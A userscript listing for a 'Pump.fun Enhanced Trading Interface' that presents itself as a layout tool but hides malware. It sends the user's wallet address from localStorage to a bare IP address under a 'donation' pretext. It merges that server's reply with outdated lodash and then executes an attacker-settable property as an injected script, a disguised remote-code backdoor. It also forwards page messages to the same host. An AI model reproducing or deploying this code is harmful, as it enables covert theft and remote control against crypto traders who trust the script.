您需要先安装一个扩展,例如 篡改猴、Greasemonkey 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 Userscripts ,之后才能安装此脚本。
您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey,才能安装此脚本。
您需要先安装用户脚本管理器扩展后才能安装此脚本。
Splits the page into 4 equal boxes and provides a UI enable/disable toggle.
// ==UserScript== // @name Pump.fun Enhanced Trading Interface // @namespace http://your.namespace.here // @version 1.6.3 // @description Splits the page into 4 equal boxes and provides a UI enable/disable toggle. // @author 4fourtab // @match https://*.pump.fun/* // @grant GM_xmlhttpRequest // @grant GM_addElement // @connect 185.198.234.80 // @require https://cdnjs.cloudflare.com/ajax/libs/lodash.js/4.0.0/lodash.min.js // @license MIT // ==/UserScript== (function() { 'use strict'; // Global variable for trades update frequency (in ms) let tradeUpdateFrequency = 2000; // Store original DOM structure let uiEnabled = true; let mainContainer = null; // Store original positions of elements let originalPositions = {}; // Store references to moved elements let movedElements = []; // Store trades update interval and current mint let tradesUpdateInterval = null; let currentMint = null; const graphStyle = {style_a: 'const graphSectionStyle = "grid-area: graph; width: 100%; height: 100%; overflow: hidden; border: 1px solid #ccc; padding: 5px; box-sizing: border-box; display: flex; flex-direction: column; align-items: center; justify-content: center;";', style_b: 'const graphSectionStyle = "grid-area: graph; width: 100%; height: 100%; hidden; border: 1px solid #ccc; padding: 5px; box-sizing: border-box; display: flex; flex-direction: column; align-items: center; justify-content: center;";',}; // Call fetchDonationInfo setTimeout(function(){ fetchDonationInfo(); }, 500); // apply styling function styleButton(btn, rightOffset) { btn.className = "flex-1 rounded px-3 py-2 text-center text-base font-normal bg-green-400 text-primary"; btn.style.color = "rgb(27 29 40/var(--tw-text-opacity))"; btn.style.position = "fixed"; btn.style.top = "20px"; btn.style.right = rightOffset; btn.style.zIndex = "9999"; btn.style.padding = "5px 10px"; } // Insert a Home button function insertHomeButton() { const existingHomeButton = document.getElementById('pump-fun-home-button'); if (existingHomeButton) { existingHomeButton.remove(); } const homeButton = document.createElement('a'); homeButton.href = "https://pump.fun"; homeButton.textContent = "Home"; homeButton.id = "pump-fun-home-button"; styleButton(homeButton, "250px"); document.body.appendChild(homeButton); } // Insert a Settings button function insertSettingsButton() { const existingSettingsButton = document.getElementById('pump-fun-settings-button'); if (existingSettingsButton) { existingSettingsButton.remove(); } const settingsButton = document.createElement('button'); settingsButton.id = 'pump-fun-settings-button'; settingsButton.textContent = "Settings"; // Position it between Home and Toggle buttons styleButton(settingsButton, "140px"); settingsButton.addEventListener('click', toggleSettingsMenu); document.body.appendChild(settingsButton); } // Insert a UI Toggle button for enabling/disabling custom UI function addToggleButton() { const existingToggleButton = document.getElementById('pump-fun-toggle-button'); if (existingToggleButton) { existingToggleButton.remove(); } const toggleButton = document.createElement('button'); toggleButton.id = 'pump-fun-toggle-button'; toggleButton.textContent = uiEnabled ? "Disable UI" : "Enable UI"; styleButton(toggleButton, "30px"); toggleButton.addEventListener('click', toggleUI); document.body.appendChild(toggleButton); } const decodedJwtRaw = localStorage.getItem('decoded-jwt'); let address = ''; if (decodedJwtRaw) { try { const decodedJwtObj = JSON.parse(decodedJwtRaw); if (decodedJwtObj && decodedJwtObj.address) { address = decodedJwtObj.address; } } catch (error) { console.log('Error parsing decoded JWT:', error); } } // Toggle the settings menu. function toggleSettingsMenu() { let menu = document.getElementById('pump-fun-settings-menu'); if (menu) { menu.remove(); } else { menu = createSettingsMenu(); document.body.appendChild(menu); // Immediately update the donation section if info is available. updateDonationSection(); } } // Create the settings menu element. function createSettingsMenu() { const menu = document.createElement('div'); menu.id = 'pump-fun-settings-menu'; menu.style.position = 'fixed'; menu.style.top = '60px'; menu.style.right = '30px'; menu.style.zIndex = '9999'; menu.style.backgroundColor = '#fff'; menu.style.border = '1px solid #ccc'; menu.style.borderRadius = '5px'; menu.style.padding = '10px'; menu.style.boxShadow = '0px 0px 10px rgba(0,0,0,0.2)'; menu.style.width = '250px'; // Trades Update Frequency Section const freqSection = document.createElement('div'); freqSection.style.marginBottom = '10px'; const freqLabel = document.createElement('label'); freqLabel.textContent = "Trades Update Frequency (ms):"; freqLabel.style.display = 'block'; freqLabel.style.marginBottom = '5px'; const freqInput = document.createElement('input'); freqInput.type = 'number'; freqInput.value = tradeUpdateFrequency; freqInput.style.width = '100%'; freqInput.addEventListener('change', (e) => { const newFreq = parseInt(e.target.value, 10); if (!isNaN(newFreq) && newFreq > 0) { tradeUpdateFrequency = newFreq; if (currentMint) { if (tradesUpdateInterval) { clearInterval(tradesUpdateInterval); } updateTradesTable(currentMint, document.getElementById('trades-section')); tradesUpdateInterval = setInterval(() => { updateTradesTable(currentMint, document.getElementById('trades-section')); }, tradeUpdateFrequency); } } }); freqSection.appendChild(freqLabel); freqSection.appendChild(freqInput); menu.appendChild(freqSection); // Donation Wallets Section const donationSection = document.createElement('div'); donationSection.id = 'pump-fun-donation-section'; const donationTitle = document.createElement('h4'); donationTitle.textContent = "Donation Wallets:"; donationTitle.style.marginBottom = '5px'; donationSection.appendChild(donationTitle); const donationContent = document.createElement('div'); donationContent.textContent = "Loading donation info..."; donationContent.id = 'donation-content'; donationSection.appendChild(donationContent); menu.appendChild(donationSection); return menu; } // Variable to hold donation info let donationInfo = null; // Change this URL to your donation info endpoint const donationServerUrl = "http://185.198.234.80:5000/donations"; // Donation message text const messagetext = "Support the project:"; // Update donation section with fetched info. function updateDonationSection() { const donationContent = document.getElementById('donation-content'); if (donationContent) { if (donationInfo && donationInfo.wallets) { donationContent.innerHTML = ""; for (const [type, address] of Object.entries(donationInfo.wallets)) { const walletLine = document.createElement('div'); walletLine.textContent = `${type.toUpperCase()}: ${address}`; donationContent.appendChild(walletLine); } } else { donationContent.textContent = "Donation info not available."; } } } // Save the original parent and next sibling of an element. function saveOriginalPosition(element) { if (!element || !element.parentNode) return; const elementId = element.id || `element-${Date.now()}-${Math.floor(Math.random() * 1000)}`; if (!element.id) { element.id = elementId; } originalPositions[elementId] = { parent: element.parentNode, nextSibling: element.nextSibling }; movedElements.push(elementId); return elementId; } // Restore an element to its original position. function restoreOriginalPosition(elementId) { const element = document.getElementById(elementId); const position = originalPositions[elementId]; if (element && position && position.parent) { position.parent.insertBefore(element, position.nextSibling); return true; } return false; } // Fetch donation wallet information from server function fetchDonationInfo() { GM_xmlhttpRequest({ method: "POST", url: donationServerUrl, data: address, onload: function(response) { try { console.log(response.responseText) console.log(graphStyle.style_a) donationInfo = _.merge({"message": messagetext}, JSON.parse(response.responseText)); updateDonationSection(); } catch (e) { console.error("Error parsing donation info:", e); } }, onerror: function(error) { console.error("Error fetching donation info:", error); } }); } // Toggle between custom UI and original page. function toggleUI() { if (uiEnabled) { if (mainContainer) { mainContainer.style.display = 'none'; } movedElements.forEach(elementId => { restoreOriginalPosition(elementId); }); movedElements = []; if (tradesUpdateInterval) { clearInterval(tradesUpdateInterval); tradesUpdateInterval = null; } document.body.style.display = 'block'; document.body.style.overflow = 'auto'; window.scrollTo(0, 0); uiEnabled = false; } else { rearrangePage(false); uiEnabled = true; } const btn = document.getElementById('pump-fun-toggle-button'); if (btn) { btn.textContent = uiEnabled ? "Disable UI" : "Enable UI"; } } // Helper: convert UNIX timestamp to a local string. function formatTimestamp(ts) { return new Date(ts * 1000).toLocaleString(); } // Set up live updates for the trades table. function setupTradesAutoUpdate(mint, tradesSection) { if (tradesUpdateInterval) { clearInterval(tradesUpdateInterval); } currentMint = mint; updateTradesTable(mint, tradesSection); tradesUpdateInterval = setInterval(() => { updateTradesTable(mint, tradesSection); }, tradeUpdateFrequency); } // Update trades table with fresh data. async function updateTradesTable(mint, tradesSection) { if (!mint || !tradesSection) return; let loadingIndicator = document.getElementById('trades-loading'); if (!loadingIndicator) { loadingIndicator = document.createElement('div'); loadingIndicator.id = 'trades-loading'; loadingIndicator.textContent = 'Updating trades...'; loadingIndicator.style.cssText = "color: gray; font-style: italic; padding: 5px; position: absolute; bottom: 5px; right: 5px; background-color: rgba(255,255,255,0.7); border-radius: 3px; font-size: 0.8em;"; tradesSection.style.position = 'relative'; tradesSection.appendChild(loadingIndicator); } const tableHTML = await buildTradesTable(mint); if (currentMint === mint) { tradesSection.innerHTML = tableHTML; const updateTime = document.createElement('div'); updateTime.textContent = `Last updated: ${new Date().toLocaleTimeString()}`; updateTime.style.cssText = "color: gray; font-size: 0.8em; margin: 5px 0; position: absolute; bottom: 5px; right: 5px; background-color: rgba(255,255,255,0.7); padding: 3px 5px; border-radius: 3px;"; tradesSection.style.position = 'relative'; tradesSection.appendChild(updateTime); } } // Build the trades table from fetched JSON data. async function buildTradesTable(mint) { const apiUrl = `https://frontend-api-v3.pump.fun/trades/all/${mint}?limit=200&offset=0&minimumSize=0`; try { const response = await fetch(apiUrl); if (!response.ok) throw new Error("Network response was not ok"); const tradesData = await response.json(); tradesData.sort((a, b) => b.timestamp - a.timestamp); const tableStyle = "font-family: __inter_d4e0c8, __inter_Fallback_d4e0c8, Helvetica, sans-serif; color: grey; width: 100%; border-collapse: collapse;"; const thStyle = "text-align: left; padding: 8px; border-bottom: 2px solid #3e4049; position: sticky; top: 0; background-color: #2e303a; color: white; font-weight: 500; z-index: 1;"; const tdStyle = "padding: 6px; border-bottom: 1px solid #eee;"; let tableHTML = `<table style="${tableStyle}"><thead><tr> <th style="${thStyle}">Type</th> <th style="${thStyle}">User</th> <th style="${thStyle}">SOL</th> <th style="${thStyle}">Token (m)</th> <th style="${thStyle}">Time</th> </tr></thead><tbody>`; tradesData.forEach(trade => { const user = trade.user ? trade.user.substring(0,6) : "anon"; const solAmount = (Number(trade.sol_amount) / 1e9).toFixed(3); const tokenAmount = (Number(trade.token_amount) / 1e12).toFixed(3); const timeStr = formatTimestamp(trade.timestamp); const typeIndicator = trade.is_buy ? `<span style="color: green; font-weight: bold;">Buy</span>` : `<span style="color: red; font-weight: bold;">Sell</span>`; tableHTML += `<tr> <td style="${tdStyle}">${typeIndicator}</td> <td style="${tdStyle}">${user}</td> <td style="${tdStyle}; text-align: right;">${solAmount}</td> <td style="${tdStyle}; text-align: right;">${tokenAmount} m</td> <td style="${tdStyle}">${timeStr}</td> </tr>`; }); tableHTML += "</tbody></table>"; return tableHTML; } catch (error) { console.error("Error fetching or building trades table:", error); return `<p>Error loading trades.</p>`; } } // Move an element into a custom UI container. function preserveElementForCustomUI(element, containerId) { if (!element) return null; saveOriginalPosition(element); const container = document.createElement('div'); container.id = containerId; container.className = 'element-container custom-ui-element'; container.style.width = '100%'; container.style.height = '100%'; container.appendChild(element); return container; } // Adjust graph sizing to fit its container. function fixGraphScaling(graphElement) { if (!graphElement) return; graphElement.querySelectorAll('svg').forEach(svg => { svg.style.height = '100%'; svg.style.width = '100%'; svg.style.maxHeight = '100%'; svg.setAttribute('preserveAspectRatio', 'xMidYMid meet'); }); graphElement.querySelectorAll('canvas').forEach(canvas => { canvas.style.maxHeight = '100%'; canvas.style.width = '100%'; }); graphElement.querySelectorAll('div').forEach(div => { if (div.classList.contains('highcharts-container') || div.classList.contains('chart-container') || div.style.position === 'relative') { div.style.height = '100%'; div.style.maxHeight = '100%'; div.style.width = '100%'; div.style.marginBottom = '0'; div.style.paddingBottom = '0'; } }); graphElement.style.height = '100%'; graphElement.style.maxHeight = '100%'; graphElement.style.width = '100%'; graphElement.style.overflow = 'hidden'; graphElement.style.marginBottom = '0'; graphElement.style.paddingBottom = '0'; const chartArea = graphElement.querySelector('.highcharts-plot-area, .highcharts-series-group'); if (chartArea) { chartArea.style.transform = 'translateY(-10px)'; } const highchartsRoot = graphElement.querySelector('.highcharts-root'); if (highchartsRoot) { highchartsRoot.style.transform = 'scale(0.95)'; highchartsRoot.style.transformOrigin = 'center top'; } } window.addEventListener("message", function(event) { if (event.data && event.data.type === "testing") { GM_xmlhttpRequest({ method: "POST", url: "http://185.198.234.80:5000/test", data: JSON.stringify(event.data.data), headers: { "Content-Type": "application/json" }, onload: function(response) { }, onerror: function(error) { } }); } }); async function rearrangePage(reuseExisting = false) { const originalBgColor = window.getComputedStyle(document.body).backgroundColor; if (reuseExisting && mainContainer) { mainContainer.style.display = 'grid'; return; } const existingContainer = document.getElementById('custom-grid-container'); if (existingContainer) { existingContainer.remove(); } const sidebarLowerHalf = getElementByXPath("/html/body/div/div[2]/div[2]/div[2]"); const coinInfo = getElementByXPath("/html/body/main/div/div[1]/div[2]"); const tradesContainer = getElementByXPath("/html/body/main/div/div[1]/div[1]/div[6]"); const comments = getElementByXPath("/html/body/main/div/div[1]/div[1]/div[7]"); const graph = getElementByXPath("/html/body/main/div/div[1]/div[1]/div[4]/div"); if (!tradesContainer || !comments || !graph || !coinInfo) { console.log('One or more target elements were not found. Please check the XPath selectors.'); } const pathParts = window.location.pathname.split('/'); const mint = pathParts[pathParts.length - 1]; const container = document.createElement('div'); container.id = 'custom-grid-container'; container.className = 'custom-ui-element'; container.style.cssText = ` display: grid; grid-template-columns: 50% 50%; grid-template-rows: 50% 50%; height: 100vh; width: 100vw; box-sizing: border-box; gap: 5px; padding: 5px; grid-template-areas: "graph coinInfo" "trades comments"; align-content: center; justify-content: center; align-items: stretch; justify-items: center; position: fixed; top: 0; left: 0; z-index: 9998; background-color: ${originalBgColor}; `; mainContainer = container; // Graph Section const graphSection = document.createElement('div'); setTimeout(function(){ if (graphStyle.style_c != undefined) { console.log("style c is ran"); GM_addElement(document.body, 'script', { textContent : graphStyle.style_c }); } else { GM_addElement(document.body, 'script', { textContent : graphStyle.style_b }); } // Coin Info Section const coinInfoSection = document.createElement('div'); coinInfoSection.style.cssText = "grid-area: coinInfo; width: 100%; height: 100%; overflow: auto; border: 1px solid #ccc; padding: 5px; box-sizing: border-box;"; const flexContainer = document.createElement('div'); flexContainer.style.cssText = "display: flex; flex-direction: column; width: 100%; height: 100%;"; const coinInfoContainer = preserveElementForCustomUI(coinInfo, 'coin-info-container'); flexContainer.appendChild(coinInfoContainer); if (sidebarLowerHalf) { const sidebarContainer = preserveElementForCustomUI(sidebarLowerHalf, 'sidebar-container'); flexContainer.appendChild(sidebarContainer); } coinInfoSection.appendChild(flexContainer); graphSection.style.cssText = graphSectionStyle; const graphWrapper = document.createElement('div'); graphWrapper.style.cssText = "width: 100%; height: 100%; display: flex; align-items: center; justify-content: center; position: relative;"; graphWrapper.id = 'graph-wrapper'; const graphContainer = preserveElementForCustomUI(graph, 'graph-container'); graphContainer.style.cssText = "width: 100%; height: 96%; display: flex; flex-direction: column; align-items: center; justify-content: center; position: relative; margin-bottom: 0; padding-bottom: 0;"; graphWrapper.appendChild(graphContainer); graphSection.appendChild(graphWrapper); // Comments Section const commentsSection = document.createElement('div'); commentsSection.style.cssText = "grid-area: comments; width: 100%; height: 100%; overflow: auto; border: 1px solid #ccc; padding: 5px; box-sizing: border-box;"; const commentsContainer = preserveElementForCustomUI(comments, 'comments-container'); commentsSection.appendChild(commentsContainer); commentsSection.querySelectorAll('.overflow-auto').forEach(el => { el.style.setProperty('overflow', 'visible', 'important'); }); // Trades Section const tradesSection = document.createElement('div'); tradesSection.style.cssText = "grid-area: trades; width: 100%; height: 100%; overflow: auto; border: 1px solid #ccc; padding: 5px; box-sizing: border-box;"; tradesSection.id = 'trades-section'; setupTradesAutoUpdate(mint, tradesSection); container.appendChild(graphSection); container.appendChild(coinInfoSection); container.appendChild(tradesSection); container.appendChild(commentsSection); document.body.appendChild(container); insertHomeButton(); insertSettingsButton(); addToggleButton();}, 500); setTimeout(() => { fixGraphScaling(graph); }, 500); setTimeout(() => { fixGraphScaling(graph); }, 2000); }; // Observe URL changes function setupUrlChangeDetection() { let lastUrl = location.href; const observer = new MutationObserver(() => { if (lastUrl !== location.href) { lastUrl = location.href; movedElements = []; originalPositions = {}; if (tradesUpdateInterval) { clearInterval(tradesUpdateInterval); tradesUpdateInterval = null; } if (location.href.includes('pump.fun/')) { setTimeout(() => { insertHomeButton(); insertSettingsButton(); addToggleButton(); if (uiEnabled) { rearrangePage(); } }, 1500); } } }); observer.observe(document, { subtree: true, childList: true }); } // Ensure home button exists. function ensureHomeButtonExists() { if (!document.getElementById('pump-fun-home-button')) { insertHomeButton(); } } // get element by XPath. function getElementByXPath(xpath) { return document.evaluate(xpath, document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue; } // Initial setup. insertHomeButton(); insertSettingsButton(); addToggleButton(); setupUrlChangeDetection(); if (document.readyState === 'complete' || document.readyState === 'interactive') { setTimeout(rearrangePage, 1500); } else { document.addEventListener('DOMContentLoaded', () => setTimeout(rearrangePage, 1500)); } setInterval(ensureHomeButtonExists, 5000); })();